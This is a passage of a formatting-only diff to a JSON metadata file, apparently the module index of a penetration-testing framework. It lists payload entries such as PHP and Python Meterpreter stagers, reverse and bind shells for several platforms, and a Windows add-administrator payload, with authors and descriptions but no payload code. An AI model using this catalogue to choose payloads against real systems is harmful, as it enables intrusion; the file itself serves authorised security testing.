"notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -249824,9 +222140,7 @@ "payload_php/exec": { "name": "PHP Execute Command ", "fullname": "payload/php/exec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -249834,9 +222148,7 @@ "egypt " ], "description": "Execute a single system command", - "references": [ - - ], + "references": [], "platform": "PHP", "arch": "php", "rport": null, @@ -249850,8 +222162,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -249860,9 +222171,7 @@ "payload_php/meterpreter/bind_tcp": { "name": "PHP Meterpreter, Bind TCP Stager", "fullname": "payload/php/meterpreter/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -249870,9 +222179,7 @@ "egypt " ], "description": "Run a meterpreter server in PHP.\n\nListen for a connection", - "references": [ - - ], + "references": [], "platform": "PHP", "arch": "php", "rport": null, @@ -249886,8 +222193,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -249898,9 +222204,7 @@ "payload_php/meterpreter/bind_tcp_ipv6": { "name": "PHP Meterpreter, Bind TCP Stager IPv6", "fullname": "payload/php/meterpreter/bind_tcp_ipv6", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -249908,9 +222212,7 @@ "egypt " ], "description": "Run a meterpreter server in PHP.\n\nListen for a connection over IPv6", - "references": [ - - ], + "references": [], "platform": "PHP", "arch": "php", "rport": null, @@ -249924,8 +222226,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -249936,9 +222237,7 @@ "payload_php/meterpreter/bind_tcp_ipv6_uuid": { "name": "PHP Meterpreter, Bind TCP Stager IPv6 with UUID Support", "fullname": "payload/php/meterpreter/bind_tcp_ipv6_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -249947,9 +222246,7 @@ "OJ Reeves" ], "description": "Run a meterpreter server in PHP.\n\nListen for a connection over IPv6 with UUID Support", - "references": [ - - ], + "references": [], "platform": "PHP", "arch": "php", "rport": null, @@ -249963,8 +222260,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -249975,9 +222271,7 @@ "payload_php/meterpreter/bind_tcp_uuid": { "name": "PHP Meterpreter, Bind TCP Stager with UUID Support", "fullname": "payload/php/meterpreter/bind_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -249986,9 +222280,7 @@ "OJ Reeves" ], "description": "Run a meterpreter server in PHP.\n\nListen for a connection with UUID Support", - "references": [ - - ], + "references": [], "platform": "PHP", "arch": "php", "rport": null, @@ -250002,8 +222294,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -250014,9 +222305,7 @@ "payload_php/meterpreter/reverse_tcp": { "name": "PHP Meterpreter, PHP Reverse TCP Stager", "fullname": "payload/php/meterpreter/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -250024,9 +222313,7 @@ "egypt " ], "description": "Run a meterpreter server in PHP.\n\nReverse PHP connect back stager with checks for disabled functions", - "references": [ - - ], + "references": [], "platform": "PHP", "arch": "php", "rport": null, @@ -250040,8 +222327,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -250052,9 +222338,7 @@ "payload_php/meterpreter/reverse_tcp_uuid": { "name": "PHP Meterpreter, PHP Reverse TCP Stager", "fullname": "payload/php/meterpreter/reverse_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -250063,9 +222347,7 @@ "OJ Reeves" ], "description": "Run a meterpreter server in PHP.\n\nReverse PHP connect back stager with checks for disabled functions", - "references": [ - - ], + "references": [], "platform": "PHP", "arch": "php", "rport": null, @@ -250079,8 +222361,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -250091,9 +222372,7 @@ "payload_php/meterpreter_reverse_tcp": { "name": "PHP Meterpreter, Reverse TCP Inline", "fullname": "payload/php/meterpreter_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -250101,9 +222380,7 @@ "egypt " ], "description": "Connect back to attacker and spawn a Meterpreter server (PHP)", - "references": [ - - ], + "references": [], "platform": "PHP", "arch": "php", "rport": null, @@ -250117,8 +222394,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -250127,9 +222403,7 @@ "payload_php/reverse_perl": { "name": "PHP Command, Double Reverse TCP Connection (via Perl)", "fullname": "payload/php/reverse_perl", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -250137,9 +222411,7 @@ "cazz " ], "description": "Creates an interactive shell via perl", - "references": [ - - ], + "references": [], "platform": "PHP", "arch": "php", "rport": null, @@ -250153,8 +222425,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -250163,9 +222434,7 @@ "payload_php/reverse_php": { "name": "PHP Command Shell, Reverse TCP (via PHP)", "fullname": "payload/php/reverse_php", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -250173,9 +222442,7 @@ "egypt " ], "description": "Reverse PHP connect back shell with checks for disabled functions", - "references": [ - - ], + "references": [], "platform": "PHP", "arch": "php", "rport": null, @@ -250189,8 +222456,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -250199,9 +222465,7 @@ "payload_php/shell_findsock": { "name": "PHP Command Shell, Find Sock", "fullname": "payload/php/shell_findsock", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -250209,9 +222473,7 @@ "egypt " ], "description": "Spawn a shell on the established connection to\n the webserver. Unfortunately, this payload\n can leave conspicuous evil-looking entries in the\n apache error logs, so it is probably a good idea\n to use a bind or reverse shell unless firewalls\n prevent them from working. The issue this\n payload takes advantage of (CLOEXEC flag not set\n on sockets) appears to have been patched on the\n Ubuntu version of Apache and may not work on\n other Debian-based distributions. Only tested on\n Apache but it might work on other web servers\n that leak file descriptors to child processes.", - "references": [ - - ], + "references": [], "platform": "PHP", "arch": "php", "rport": null, @@ -250225,8 +222487,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -250235,9 +222496,7 @@ "payload_python/exec": { "name": "Python Execute Command", "fullname": "payload/python/exec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -250245,9 +222504,7 @@ "Spencer McIntyre" ], "description": "Execute an arbitrary OS command. Compatible with Python 2.7 and 3.4+.", - "references": [ - - ], + "references": [], "platform": "Python", "arch": "python", "rport": null, @@ -250261,8 +222518,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -250271,9 +222527,7 @@ "payload_python/meterpreter/bind_tcp": { "name": "Python Meterpreter, Python Bind TCP Stager", "fullname": "payload/python/meterpreter/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -250281,9 +222535,7 @@ "Spencer McIntyre" ], "description": "Run a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+).\n\nListen for a connection", - "references": [ - - ], + "references": [], "platform": "Python", "arch": "python", "rport": null, @@ -250297,8 +222549,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -250309,9 +222560,7 @@ "payload_python/meterpreter/bind_tcp_uuid": { "name": "Python Meterpreter, Python Bind TCP Stager with UUID Support", "fullname": "payload/python/meterpreter/bind_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -250320,9 +222569,7 @@ "OJ Reeves" ], "description": "Run a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+).\n\nListen for a connection with UUID Support", - "references": [ - - ], + "references": [], "platform": "Python", "arch": "python", "rport": null, @@ -250336,8 +222583,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -250348,9 +222594,7 @@ "payload_python/meterpreter/reverse_http": { "name": "Python Meterpreter, Python Reverse HTTP Stager", "fullname": "payload/python/meterpreter/reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -250358,9 +222602,7 @@ "Spencer McIntyre" ], "description": "Run a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+).\n\nTunnel communication over HTTP", - "references": [ - - ], + "references": [], "platform": "Python", "arch": "python", "rport": null, @@ -250374,8 +222616,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -250386,9 +222627,7 @@ "payload_python/meterpreter/reverse_https": { "name": "Python Meterpreter, Python Reverse HTTPS Stager", "fullname": "payload/python/meterpreter/reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -250396,9 +222635,7 @@ "Spencer McIntyre" ], "description": "Run a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+).\n\nTunnel communication over HTTP using SSL", - "references": [ - - ], + "references": [], "platform": "Python", "arch": "python", "rport": null, @@ -250412,8 +222649,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -250424,9 +222660,7 @@ "payload_python/meterpreter/reverse_tcp": { "name": "Python Meterpreter, Python Reverse TCP Stager", "fullname": "payload/python/meterpreter/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -250434,9 +222668,7 @@ "Spencer McIntyre" ], "description": "Run a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Python", "arch": "python", "rport": null, @@ -250450,8 +222682,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -250462,9 +222693,7 @@ "payload_python/meterpreter/reverse_tcp_ssl": { "name": "Python Meterpreter, Python Reverse TCP SSL Stager", "fullname": "payload/python/meterpreter/reverse_tcp_ssl", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -250474,9 +222703,7 @@ "RageLtMan" ], "description": "Run a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+).\n\nReverse Python connect back stager using SSL", - "references": [ - - ], + "references": [], "platform": "Python", "arch": "python", "rport": null, @@ -250490,8 +222717,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -250502,9 +222728,7 @@ "payload_python/meterpreter/reverse_tcp_uuid": { "name": "Python Meterpreter, Python Reverse TCP Stager with UUID Support", "fullname": "payload/python/meterpreter/reverse_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -250513,9 +222737,7 @@ "OJ Reeves" ], "description": "Run a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+).\n\nConnect back to the attacker with UUID Support", - "references": [ - - ], + "references": [], "platform": "Python", "arch": "python", "rport": null, @@ -250529,8 +222751,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -250541,9 +222762,7 @@ "payload_python/meterpreter_bind_tcp": { "name": "Python Meterpreter Shell, Bind TCP Inline", "fullname": "payload/python/meterpreter_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -250551,9 +222770,7 @@ "Spencer McIntyre" ], "description": "Connect to the victim and spawn a Meterpreter shell", - "references": [ - - ], + "references": [], "platform": "Python", "arch": "python", "rport": null, @@ -250567,8 +222784,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -250577,9 +222793,7 @@ "payload_python/meterpreter_reverse_http": { "name": "Python Meterpreter Shell, Reverse HTTP Inline", "fullname": "payload/python/meterpreter_reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -250587,9 +222801,7 @@ "Spencer McIntyre" ], "description": "Connect back to the attacker and spawn a Meterpreter shell", - "references": [ - - ], + "references": [], "platform": "Python", "arch": "python", "rport": null, @@ -250603,8 +222815,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -250613,9 +222824,7 @@ "payload_python/meterpreter_reverse_https": { "name": "Python Meterpreter Shell, Reverse HTTPS Inline", "fullname": "payload/python/meterpreter_reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -250623,9 +222832,7 @@ "Spencer McIntyre" ], "description": "Connect back to the attacker and spawn a Meterpreter shell", - "references": [ - - ], + "references": [], "platform": "Python", "arch": "python", "rport": null, @@ -250639,8 +222846,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -250649,9 +222855,7 @@ "payload_python/meterpreter_reverse_tcp": { "name": "Python Meterpreter Shell, Reverse TCP Inline", "fullname": "payload/python/meterpreter_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -250659,9 +222863,7 @@ "Spencer McIntyre" ], "description": "Connect back to the attacker and spawn a Meterpreter shell", - "references": [ - - ], + "references": [], "platform": "Python", "arch": "python", "rport": null, @@ -250675,8 +222877,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -250685,9 +222886,7 @@ "payload_python/pingback_bind_tcp": { "name": "Python Pingback, Bind TCP (via python)", "fullname": "payload/python/pingback_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -250695,9 +222894,7 @@ "asoto-r7" ], "description": "Listens for a connection from the attacker, sends a UUID, then terminates", - "references": [ - - ], + "references": [], "platform": "Python", "arch": "python", "rport": null, @@ -250711,8 +222908,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -250721,9 +222917,7 @@ "payload_python/pingback_reverse_tcp": { "name": "Python Pingback, Reverse TCP (via python)", "fullname": "payload/python/pingback_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -250731,9 +222925,7 @@ "asoto-r7" ], "description": "Connects back to the attacker, sends a UUID, then terminates", - "references": [ - - ], + "references": [], "platform": "Python", "arch": "python", "rport": null, @@ -250747,8 +222939,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -250757,9 +222948,7 @@ "payload_python/shell_bind_tcp": { "name": "Command Shell, Bind TCP (via python)", "fullname": "payload/python/shell_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -250767,9 +222956,7 @@ "mumbai" ], "description": "Creates an interactive shell via Python, encodes with base64 by design. Compatible with Python 2.4-2.7 and 3.4+.", - "references": [ - - ], + "references": [], "platform": "Python", "arch": "python", "rport": null, @@ -250783,8 +222970,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -250793,9 +222979,7 @@ "payload_python/shell_reverse_sctp": { "name": "Command Shell, Reverse SCTP (via python)", "fullname": "payload/python/shell_reverse_sctp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -250803,9 +222987,7 @@ "RageLtMan " ], "description": "Creates an interactive shell via Python, encodes with base64 by design. Compatible with Python 2.6-2.7 and 3.4+.", - "references": [ - - ], + "references": [], "platform": "Python", "arch": "python", "rport": null, @@ -250819,8 +223001,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -250829,9 +223010,7 @@ "payload_python/shell_reverse_tcp": { "name": "Command Shell, Reverse TCP (via python)", "fullname": "payload/python/shell_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -250839,9 +223018,7 @@ "Ben Campbell " ], "description": "Creates an interactive shell via Python, encodes with base64 by design. Compatible with Python 2.4-2.7 and 3.4+.", - "references": [ - - ], + "references": [], "platform": "Python", "arch": "python", "rport": null, @@ -250855,8 +223032,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -250865,9 +223041,7 @@ "payload_python/shell_reverse_tcp_ssl": { "name": "Command Shell, Reverse TCP SSL (via python)", "fullname": "payload/python/shell_reverse_tcp_ssl", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -250875,9 +223049,7 @@ "RageLtMan " ], "description": "Creates an interactive shell via Python, uses SSL, encodes with base64 by design. Compatible with Python 2.6-2.7 and 3.4+.", - "references": [ - - ], + "references": [], "platform": "Python", "arch": "python", "rport": null, @@ -250891,8 +223063,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -250901,9 +223072,7 @@ "payload_python/shell_reverse_udp": { "name": "Command Shell, Reverse UDP (via python)", "fullname": "payload/python/shell_reverse_udp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -250911,9 +223080,7 @@ "RageLtMan " ], "description": "Creates an interactive shell via Python, encodes with base64 by design. Compatible with Python 2.6-2.7 and 3.4+.", - "references": [ - - ], + "references": [], "platform": "Python", "arch": "python", "rport": null, @@ -250927,8 +223094,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -250937,9 +223103,7 @@ "payload_r/shell_bind_tcp": { "name": "R Command Shell, Bind TCP", "fullname": "payload/r/shell_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -250947,9 +223111,7 @@ "RageLtMan " ], "description": "Continually listen for a connection and spawn a command shell via R", - "references": [ - - ], + "references": [], "platform": "R", "arch": "r", "rport": null, @@ -250963,8 +223125,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -250973,9 +223134,7 @@ "payload_r/shell_reverse_tcp": { "name": "R Command Shell, Reverse TCP", "fullname": "payload/r/shell_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -250983,9 +223142,7 @@ "RageLtMan " ], "description": "Connect back and create a command shell via R", - "references": [ - - ], + "references": [], "platform": "R", "arch": "r", "rport": null, @@ -250999,8 +223156,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -251009,9 +223165,7 @@ "payload_ruby/pingback_bind_tcp": { "name": "Ruby Pingback, Bind TCP", "fullname": "payload/ruby/pingback_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -251019,9 +223173,7 @@ "asoto-r7" ], "description": "Listens for a connection from the attacker, sends a UUID, then terminates", - "references": [ - - ], + "references": [], "platform": "Ruby", "arch": "ruby", "rport": null, @@ -251035,8 +223187,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -251045,9 +223196,7 @@ "payload_ruby/pingback_reverse_tcp": { "name": "Ruby Pingback, Reverse TCP", "fullname": "payload/ruby/pingback_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -251055,9 +223204,7 @@ "asoto-r7" ], "description": "Connect back to the attacker, sends a UUID, then terminates", - "references": [ - - ], + "references": [], "platform": "Ruby", "arch": "ruby", "rport": null, @@ -251071,8 +223218,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -251081,9 +223227,7 @@ "payload_ruby/shell_bind_tcp": { "name": "Ruby Command Shell, Bind TCP", "fullname": "payload/ruby/shell_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -251092,9 +223236,7 @@ "hdm " ], "description": "Continually listen for a connection and spawn a command shell via Ruby", - "references": [ - - ], + "references": [], "platform": "Ruby", "arch": "ruby", "rport": null, @@ -251108,8 +223250,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -251118,9 +223259,7 @@ "payload_ruby/shell_bind_tcp_ipv6": { "name": "Ruby Command Shell, Bind TCP IPv6", "fullname": "payload/ruby/shell_bind_tcp_ipv6", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -251129,9 +223268,7 @@ "hdm " ], "description": "Continually listen for a connection and spawn a command shell via Ruby", - "references": [ - - ], + "references": [], "platform": "Ruby", "arch": "ruby", "rport": null, @@ -251145,8 +223282,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -251155,9 +223291,7 @@ "payload_ruby/shell_reverse_tcp": { "name": "Ruby Command Shell, Reverse TCP", "fullname": "payload/ruby/shell_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -251166,9 +223300,7 @@ "hdm " ], "description": "Connect back and create a command shell via Ruby", - "references": [ - - ], + "references": [], "platform": "Ruby", "arch": "ruby", "rport": null, @@ -251182,8 +223314,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -251192,9 +223323,7 @@ "payload_ruby/shell_reverse_tcp_ssl": { "name": "Ruby Command Shell, Reverse TCP SSL", "fullname": "payload/ruby/shell_reverse_tcp_ssl", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -251202,9 +223331,7 @@ "RageLtMan " ], "description": "Connect back and create a command shell via Ruby, uses SSL", - "references": [ - - ], + "references": [], "platform": "Ruby", "arch": "ruby", "rport": null, @@ -251218,8 +223345,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -251228,9 +223354,7 @@ "payload_solaris/sparc/shell_bind_tcp": { "name": "Solaris Command Shell, Bind TCP Inline", "fullname": "payload/solaris/sparc/shell_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -251238,9 +223362,7 @@ "vlad902 " ], "description": "Listen for a connection and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "Solaris", "arch": "sparc", "rport": null, @@ -251254,8 +223376,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -251264,9 +223385,7 @@ "payload_solaris/sparc/shell_find_port": { "name": "Solaris Command Shell, Find Port Inline", "fullname": "payload/solaris/sparc/shell_find_port", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -251274,9 +223393,7 @@ "vlad902 " ], "description": "Spawn a shell on an established connection", - "references": [ - - ], + "references": [], "platform": "Solaris", "arch": "sparc", "rport": null, @@ -251290,8 +223407,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -251300,9 +223416,7 @@ "payload_solaris/sparc/shell_reverse_tcp": { "name": "Solaris Command Shell, Reverse TCP Inline", "fullname": "payload/solaris/sparc/shell_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -251310,9 +223424,7 @@ "vlad902 " ], "description": "Connect back to attacker and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "Solaris", "arch": "sparc", "rport": null, @@ -251326,8 +223438,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -251336,9 +223447,7 @@ "payload_solaris/x86/shell_bind_tcp": { "name": "Solaris Command Shell, Bind TCP Inline", "fullname": "payload/solaris/x86/shell_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -251346,9 +223455,7 @@ "Ramon de C Valle " ], "description": "Listen for a connection and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "Solaris", "arch": "x86", "rport": null, @@ -251362,8 +223469,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -251372,9 +223478,7 @@ "payload_solaris/x86/shell_find_port": { "name": "Solaris Command Shell, Find Port Inline", "fullname": "payload/solaris/x86/shell_find_port", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -251382,9 +223486,7 @@ "Ramon de C Valle " ], "description": "Spawn a shell on an established connection", - "references": [ - - ], + "references": [], "platform": "Solaris", "arch": "x86", "rport": null, @@ -251398,8 +223500,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -251408,9 +223509,7 @@ "payload_solaris/x86/shell_reverse_tcp": { "name": "Solaris Command Shell, Reverse TCP Inline", "fullname": "payload/solaris/x86/shell_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -251418,9 +223517,7 @@ "Ramon de C Valle " ], "description": "Connect back to attacker and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "Solaris", "arch": "x86", "rport": null, @@ -251434,8 +223531,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -251444,9 +223540,7 @@ "payload_tty/unix/interact": { "name": "Unix TTY, Interact with Established Connection", "fullname": "payload/tty/unix/interact", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -251454,9 +223548,7 @@ "hdm " ], "description": "Interacts with a TTY on an established socket connection", - "references": [ - - ], + "references": [], "platform": "Unix", "arch": "tty", "rport": null, @@ -251470,8 +223562,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -251480,9 +223571,7 @@ "payload_windows/adduser": { "name": "Windows Execute net user /ADD", "fullname": "payload/windows/adduser", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -251493,9 +223582,7 @@ "sf " ], "description": "Create a new user and add them to local administration group.\n\n Note: The specified password is checked for common complexity\n requirements to prevent the target machine rejecting the user\n for failing to meet policy requirements.\n\n Complexity check: 8-14 chars (1 UPPER, 1 lower, 1 digit/special)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, @@ -251509,8 +223596,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -251519,9 +223605,7 @@ "payload_windows/custom/bind_hidden_ipknock_tcp": { "name": "Windows shellcode stage, Hidden Bind Ipknock TCP Stager", "fullname": "payload/windows/custom/bind_hidden_ipknock_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -251549,8 +223633,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -251561,9 +223644,7 @@ "payload_windows/custom/bind_hidden_tcp": { "name": "Windows shellcode stage, Hidden Bind TCP Stager", "fullname": "payload/windows/custom/bind_hidden_tcp", - "aliases": [ - - ], + 